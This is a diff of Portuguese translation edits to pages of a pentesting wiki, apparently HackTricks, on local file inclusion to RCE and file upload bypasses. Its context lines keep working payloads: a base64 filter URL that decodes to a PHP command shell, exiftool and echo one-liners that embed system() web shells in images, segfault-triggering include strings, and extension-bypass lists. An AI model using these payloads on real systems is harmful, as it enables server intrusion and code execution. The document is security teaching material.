 ```
-### Via PHP sessions
+### Via sessões PHP
 
 Verifique se o site usa PHP Session (PHPSESSID)
 ```
@@ -502,14 +502,14 @@ Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/sel
 
 ### **Via** **vsftpd** _**logs**_
 
-Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
+Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que uma vulnerabilidade de Local File Inclusion (LFI) existe, e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
 
 1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
 2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
 
 ### Via php base64 filter (using base64)
 
-Como mostrado em [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro PHP base64 simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
+Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
@@ -541,7 +541,7 @@ lfi2rce-via-nginx-temp-files.md
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
-Se você encontrou uma **Inclusão de Arquivo Local** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
+Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
 
 {{#ref}}
 via-php_session_upload_progress.md
@@ -549,7 +549,7 @@ via-php_session_upload_progress.md
 
 ### Via uploads de arquivos temporários no Windows
 
-Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode obter RCE:
+Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode conseguir RCE:
 
 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
@@ -557,7 +557,7 @@ lfi2rce-via-temp-file-uploads.md
 
 ### Via `pearcmd.php` + argumentos de URL
 
-Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
+Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
 
 A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
 ```bash

src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

@@ -28,11 +28,11 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
 
 O atacante fará com que o **servidor da vítima abra uma conexão lendo um arquivo do servidor do atacante** usando o protocolo **`compress.zlib`**.
 
-**Enquanto** essa **conexão** existir, o atacante irá **exfiltrar o caminho** para o arquivo temporário criado (ele é vazado pelo servidor).
+**Enquanto** essa **conexão** existir, o atacante **exfiltrará o caminho** para o arquivo temporário criado (ele é vazado pelo servidor).
 
-**Enquanto** a **conexão** ainda estiver aberta, o atacante irá **explorar um LFI carregando o arquivo temporário** que ele controla.
+**Enquanto** a **conexão** ainda estiver aberta, o atacante **explorará um LFI carregando o arquivo temporário** que ele controla.
 
-No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contêm `<?`**. Portanto, o atacante irá abusar de uma **Condição de Corrida**. Na conexão que ainda está aberta, o **atacante** irá **enviar o payload PHP DEPOIS** que o **servidor web** **verificou** se o arquivo contém os caracteres proibidos, mas **ANTES de carregar seu conteúdo**.
+No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contêm `<?`**. Portanto, o atacante abusará de uma **Condição de Corrida**. Na conexão que ainda está aberta, o **atacante** **enviará a carga útil PHP DEPOIS** que o **servidor web** **verificou** se o arquivo contém os caracteres proibidos, mas **ANTES de carregar seu conteúdo**.
 
 Para mais informações, consulte a descrição da Condição de Corrida e o CTF em [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
 

src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md

@@ -41,7 +41,7 @@ Os **principais problemas** desta técnica são:
 - Este limite com os anteriores pode fazer com que este ataque dure demais
 - **Timeout para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários carregados, caso contrário, isso também será um problema
 
-Então, como você pode **fazer um include PHP nunca acabar**? Basta incluir o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...). 
+Então, como você pode **fazer um include PHP nunca acabar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...). 
 
 Tente apenas chamando:
 ```bash
@@ -65,16 +65,16 @@ Vamos fazer algumas contas:
 > [!WARNING]
 > Note que no exemplo anterior estamos **completamente DoSing outros clientes**!
 
-Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do número máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
+Se o servidor Apache for melhorado e pudéssemos abusar de **4000 conexões** (metade do número máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
 
 ## PHP-FMP
 
-Se em vez de usar o módulo php regular para apache para executar scripts PHP a **página da web estiver usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
+Se em vez de usar o módulo php regular para apache para executar scripts PHP a **página da web está usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
 
 PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
-Esse parâmetro indica a quantidade máxima de segundos **quando** **a requisição ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro estiver descomentado**). Quando uma requisição está sendo processada pelo PHP, o número indicado de segundos é **finalizado**. Isso significa que, se a requisição estava fazendo upload de arquivos temporários, porque o **processamento PHP foi interrompido**, esses **arquivos não serão deletados**. Portanto, se você conseguir fazer uma requisição durar esse tempo, pode **gerar milhares de arquivos temporários** que não serão deletados, o que **acelera o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
+Esse parâmetro indica a quantidade máxima de segundos **quando** **a requisição ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro estiver descomentado**). Quando uma requisição está sendo processada pelo PHP, o número indicado de segundos é **morto**. Isso significa que, se a requisição estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão deletados**. Portanto, se você conseguir fazer uma requisição durar esse tempo, pode **gerar milhares de arquivos temporários** que não serão deletados, o que **acelerará o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
 
-Então, para **evitar DoS**, vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento PHP por **php-fmp** (`request_terminate_timeout`**)** é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
+Então, para **evitar DoS**, vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento php por **php-fmp** (`request_terminate_timeout`**)** é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
 
 Então, para gerar **10000 arquivos**, um atacante precisaria: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria **25min**).
 
@@ -88,7 +88,7 @@ Sim, é possível gerar 100000 arquivos temporários em uma instância EC2 de ta
 <figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
 
 > [!WARNING]
-> Note que para acionar o timeout seria **suficiente incluir a página LFI vulnerável**, para que ela entre em um loop de inclusão eterno.
+> Note que para acionar o timeout seria **suficiente incluir a página LFI vulnerável**, para que entre em um loop de inclusão eterno.
 
 ## Nginx
 

src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

@@ -14,7 +14,7 @@
 ```
 requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
 
-exceto:
+except:
 pass
 ```
 

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

@@ -15,14 +15,14 @@ As bases para fazer isso são:
 
 O loop para gerar conteúdo arbitrário é:
 
-1. adicionar `\x1b$)C` à nossa string, conforme descrito acima
-2. aplicar uma cadeia de conversões iconv que mantém nosso base64 inicial intacto e converte a parte que acabamos de adicionar para uma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
+1. adicionar `\x1b$)C` à nossa string como descrito acima
+2. aplicar uma cadeia de conversões iconv que mantém nosso base64 inicial intacto e converte a parte que acabamos de adicionar para alguma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
 3. base64-decodificar e base64-encodar a string, o que removerá qualquer lixo no meio
 4. Voltar ao passo 1 se o base64 que queremos construir ainda não estiver terminado
 5. base64-decodificar para obter nosso código php
 
 > [!WARNING]
-> **Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que pode dificultar a exploração disso, pois você precisaria encontrar um arquivo .php com um conteúdo que não mate a exploração... ou você **poderia apenas usar `php://temp` como recurso** porque pode **ter qualquer coisa adicionada ao nome** (como +".php") e ainda permitirá que a exploração funcione!
+> **Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que pode dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não quebre a exploração... ou você **poderia apenas usar `php://temp` como recurso** porque pode **ter qualquer coisa adicionada ao nome** (como +".php") e ainda permitirá que a exploração funcione!
 
 ## Como adicionar também sufixos aos dados resultantes
 
@@ -33,7 +33,7 @@ O loop para gerar conteúdo arbitrário é:
 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
 - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(pode adicionar sufixos)**
 
-## Script Completo
+## Script completo
 ```python
 import requests
 

src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

@@ -6,7 +6,7 @@ Para explorar essa vulnerabilidade, você precisa: **Uma vulnerabilidade LFI, um
 
 **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
 
-Você precisa corrigir a exploração (mudar **=>** por **=>**). Para fazer isso, você pode fazer:
+Você precisa corrigir o exploit (mudar **=>** por **=>**). Para fazer isso, você pode fazer:
 ```
 sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 ```
@@ -26,7 +26,7 @@ No **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tm
 
 **phpinfo()**
 
-**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas requisições grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.
+**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas solicitações grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.
 
 **Script Python para tentar forçar o nome (se o comprimento = 6)**
 ```python

src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-De acordo com os writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), os seguintes payloads causaram um erro de segmentação no PHP:
+De acordo com os writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), os seguintes payloads causaram uma falha de segmentação no PHP:
 ```php
 // PHP 7.0
 include("php://filter/string.strip_tags/resource=/etc/passwd");
@@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
 // PHP 7.2
 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
 ```
-Você deve saber que se você **enviar** uma **requisição POST** **contendo** um **arquivo**, o PHP criará um **arquivo temporário em `/tmp/php<algo>`** com o conteúdo desse arquivo. Este arquivo será **automaticamente excluído** assim que a requisição for processada.
+Você deve saber que se você **enviar** uma solicitação **POST** **contendo** um **arquivo**, o PHP criará um **arquivo temporário em `/tmp/php<algo>`** com o conteúdo desse arquivo. Este arquivo será **automaticamente excluído** assim que a solicitação for processada.
 
-Se você encontrar um **LFI** e conseguir **provocar** uma falha de segmentação no PHP, o **arquivo temporário nunca será excluído**. Portanto, você pode **procurar** por ele com a vulnerabilidade **LFI** até encontrá-lo e executar código arbitrário.
+Se você encontrar um **LFI** e conseguir **disparar** uma falha de segmentação no PHP, o **arquivo temporário nunca será excluído**. Portanto, você pode **procurar** por ele com a vulnerabilidade **LFI** até encontrá-lo e executar código arbitrário.
 
 Você pode usar a imagem do docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para testes.
 ```python

src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md

@@ -4,10 +4,10 @@
 
 ## **Uploads de Arquivos PHP**
 
-Quando um mecanismo **PHP** recebe uma **requisição POST** contendo arquivos formatados de acordo com o RFC 1867, ele gera arquivos temporários para armazenar os dados enviados. Esses arquivos são cruciais para o manuseio de uploads de arquivos em scripts PHP. A função `move_uploaded_file` deve ser usada para realocar esses arquivos temporários para um local desejado, caso seja necessário armazenamento persistente além da execução do script. Após a execução, o PHP exclui automaticamente quaisquer arquivos temporários restantes.
+Quando um mecanismo **PHP** recebe uma **requisição POST** contendo arquivos formatados de acordo com o RFC 1867, ele gera arquivos temporários para armazenar os dados enviados. Esses arquivos são cruciais para o manuseio de uploads de arquivos em scripts PHP. A função `move_uploaded_file` deve ser usada para realocar esses arquivos temporários para um local desejado se o armazenamento persistente além da execução do script for necessário. Após a execução, o PHP exclui automaticamente quaisquer arquivos temporários restantes.
 
 > [!NOTE]
-> **Alerta de Segurança: Ataque, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
+> **Alerta de Segurança: Atacantes, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
 
 O desafio para o acesso não autorizado reside em prever o nome do arquivo temporário, que é intencionalmente randomizado.
 
@@ -17,7 +17,7 @@ No Windows, o PHP gera nomes de arquivos temporários usando a função `GetTemp
 
 - O caminho padrão é tipicamente `C:\Windows\Temp`.
 - O prefixo é geralmente "php".
-- O `<uuuu>` representa um valor hexadecimal único. Crucialmente, devido à limitação da função, apenas os 16 bits inferiores são usados, permitindo um máximo de 65.535 nomes únicos com caminho e prefixo constantes, tornando a força bruta viável.
+- O `<uuuu>` representa um valor hexadecimal único. Crucialmente, devido à limitação da função, apenas os 16 bits inferiores são usados, permitindo um máximo de 65.535 nomes únicos com caminho e prefixo constantes, tornando o ataque de força bruta viável.
 
 Além disso, o processo de exploração é simplificado em sistemas Windows. Uma peculiaridade na função `FindFirstFile` permite o uso de curingas em caminhos de Inclusão de Arquivo Local (LFI). Isso possibilita a criação de um caminho de inclusão como o seguinte para localizar o arquivo temporário:
 ```

src/pentesting-web/file-inclusion/phar-deserialization.md

@@ -6,7 +6,7 @@
 
 **Arquivos Phar** (PHP Archive) **contêm metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar explorar uma vulnerabilidade de **desserialização** dentro do código **PHP**.
 
-A melhor parte dessa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
+A melhor parte sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
 
 Então, imagine uma situação onde você pode fazer um web PHP obter o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
 ```php:vunl.php

src/pentesting-web/file-inclusion/via-php_session_upload_progress.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Desligado`. Se **`session.upload_progress.enabled`** estiver **`Ligado`** e você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **POST multipart**, o PHP **habilitará a sessão para você**.
+Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Desligado`. Se **`session.upload_progress.enabled`** estiver **`Ligado`** e você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP **habilitará a sessão para você**.
 ```bash
 $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
 $ ls -a /var/lib/php/sessions/
@@ -29,7 +29,7 @@ No [**CTF original**](https://blog.orange.tw/2018/10/) onde essa técnica é com
 
 Devido à configuração padrão de `session.upload_progress.prefix`, nosso **arquivo de SESSION começará com um prefixo irritante** `upload_progress_` Como: `upload_progress_controlledcontentbyattacker`
 
-O truque para **remover o prefixo inicial** foi **base64codificar a carga útil 3 vezes** e depois decodificá-la via filtros `convert.base64-decode`, isso porque quando **decodificando base64, o PHP removerá os caracteres estranhos**, então após 3 vezes **apenas** a **carga útil** **enviada** pelo atacante **permanecerá** (e então o atacante pode controlar a parte inicial).
+O truque para **remover o prefixo inicial** foi **base64codificar a carga útil 3 vezes** e depois decodificá-la através de filtros `convert.base64-decode`, isso porque quando **decodificando base64, o PHP removerá os caracteres estranhos**, então após 3 vezes **apenas** a **carga útil** **enviada** pelo atacante **permanecerá** (e então o atacante pode controlar a parte inicial).
 
 Mais informações na escrita original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) e exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
 Outra escrita em [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)

src/pentesting-web/file-upload/README.md

@@ -22,7 +22,7 @@ Outras extensões úteis:
 2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
 - _file.png.php_
 - _file.png.Php5_
-3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
+3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforçar** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -44,7 +44,7 @@ Outras extensões úteis:
 5. Adicione **outra camada de extensões** à verificação anterior:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Tente colocar a **extensão exec antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
+6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
 - _ex: file.php.png_
 7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
 8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
@@ -63,16 +63,16 @@ AAA<--SNIP 232 A-->AAA.php.png
 ### Bypass Content-Type, Magic Number, Compressão & Redimensionamento
 
 - Bypass nas verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
-1. Lista de palavras para Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+1. **Wordlist** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Bypass na verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções do PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Outra técnica para criar um payload que **sobreviva a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você poderia usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função do PHP-GD `thumbnailImage`. No entanto, você poderia usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Outros Truques a verificar
@@ -82,11 +82,11 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possível divulgação de informações**:
 1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
 2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
-3. Fazendo upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
+3. Fazendo o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
 4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
 5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
 6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
-- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
+- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
 
 ### Truques especiais de extensão
 
@@ -99,15 +99,15 @@ A extensão `.inc` é às vezes usada para arquivos php que são apenas usados p
 
 ## **Jetty RCE**
 
-Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
+Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [Exploração de RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
